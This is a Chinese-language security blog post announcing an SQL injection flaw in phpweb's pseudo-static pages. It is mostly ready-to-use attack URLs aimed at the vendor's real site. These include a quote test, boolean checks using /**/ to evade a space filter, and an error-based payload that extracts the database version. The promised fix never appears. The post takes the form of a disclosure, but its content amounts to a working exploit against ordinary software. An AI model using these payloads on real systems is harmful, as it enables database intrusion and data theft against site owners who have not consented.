漏洞预警：phpweb伪静态页面注入及修复 |

  • A+
所属分类：Seay信息安全博客

显示不全请点击全屏阅读

phpweb所有的整站程序伪静态页面都存在sql注入

主站：http://phpweb.net/
加’检测：
 
http://www.phpweb.net/down/html/?772′.html
 
出错
存在注入。
不能用空格，只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
 
http://www.phpweb.com/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：
 
http://www.phpweb.net/page/html/?56’/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

Tags：

phpweb注入,

如果您喜欢我的博客，欢迎点击图片定订阅到邮箱填写您的邮件地址，订阅我们的精彩内容： 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你，也可微信扫下方二维码打赏本人一杯咖啡
漏洞预警：phpweb伪静态页面注入及修复 |